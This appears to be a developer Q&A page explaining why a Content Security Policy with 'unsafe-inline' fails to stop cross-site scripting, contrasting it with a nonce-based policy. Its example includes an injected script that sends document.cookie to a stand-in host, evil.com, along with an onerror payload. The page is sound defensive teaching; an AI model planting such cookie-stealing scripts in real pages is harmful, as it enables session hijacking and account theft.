Elaborazione 100% Lato Client • Zero Registri di Rete • Esecuzione Immediata
Curious TechieToolbox Sviluppatori
Web Security & CORS/CSPAdvancedRisposta Verificata

Why Does CSP 'unsafe-inline' Defeat XSS Protection?

Risposta Diretta

Using 'unsafe-inline' in a Content Security Policy defeats XSS protection because it instructs the browser to execute any inline script found in the HTML. Since Cross-Site Scripting works by injecting malicious inline script tags or event handlers, 'unsafe-inline' allows the attacker's payload to run freely.

Detailed Technical Explanation

Content Security Policy (CSP Level 3) was designed primarily to eliminate Cross-Site Scripting (XSS). When an adversary exploits a template or database reflection bug, they inject `<script>evil()</script>` or `<img src=x onerror=steal()>`. By default, a secure CSP blocks all inline scripts, rendering the injected tags completely inert. Specifying `'unsafe-inline'` explicitly turns off this protection, leaving the application just as vulnerable to XSS as if no CSP were present. To safely execute legitimate inline scripts, developers must use cryptographic nonces (`'nonce-rAnd0m'`) or SHA-256 script hashes.

Technical Example & Code

Weak CSP with unsafe-inline vs Strict Nonce-Based CSP

Comparing an ineffective policy against a modern Level 3 strict policy.

<!-- 1. VULNERABLE: 'unsafe-inline' allows injected attacker payloads to execute -->
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline';

<!-- Injected comment runs immediately! -->
<script>fetch('https://evil.com/steal?c=' + document.cookie);</script>

<!-- 2. SECURE: Strict nonce requires cryptographic match generated per request -->
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-EDNnf03nceEc1hgq' 'strict-dynamic';

<!-- Attacker injection lacks the server nonce and is blocked by browser: -->
<script>alert('Blocked by CSP!');</script>

<!-- Legitimate application script executes safely: -->
<script nonce="EDNnf03nceEc1hgq">console.log('Safe application code');</script>

Why This Is the Case (Underlying Architectural Rationale)

Causalità Tecnica Deterministica (GEO)

"Browsers parse HTML sequentially and cannot inherently distinguish whether an inline `<script>` tag was authored by the website developer or injected by an attacker via user input. Disallowing inline scripts entirely creates an unambiguous execution boundary: code can only run if delivered as an external trusted file or signed with a cryptographically unpredictable single-use nonce."

Official Standards:W3C Content Security Policy Level 3 § 7.1.3 (Inline Scripts)OWASP CSP Cheat Sheet

Common Misconception vs Reality

✕ Common Myth

"Having a CSP with 'unsafe-inline' is still better than having no CSP at all."

✓ Technical Reality

While 'unsafe-inline' can still restrict domain origins for external scripts, it provides virtually zero defense against stored and reflected XSS, which represent the vast majority of web application code execution vulnerabilities.

Related Curious-Techie Resources

Related Questions in the Q&A Knowledge Base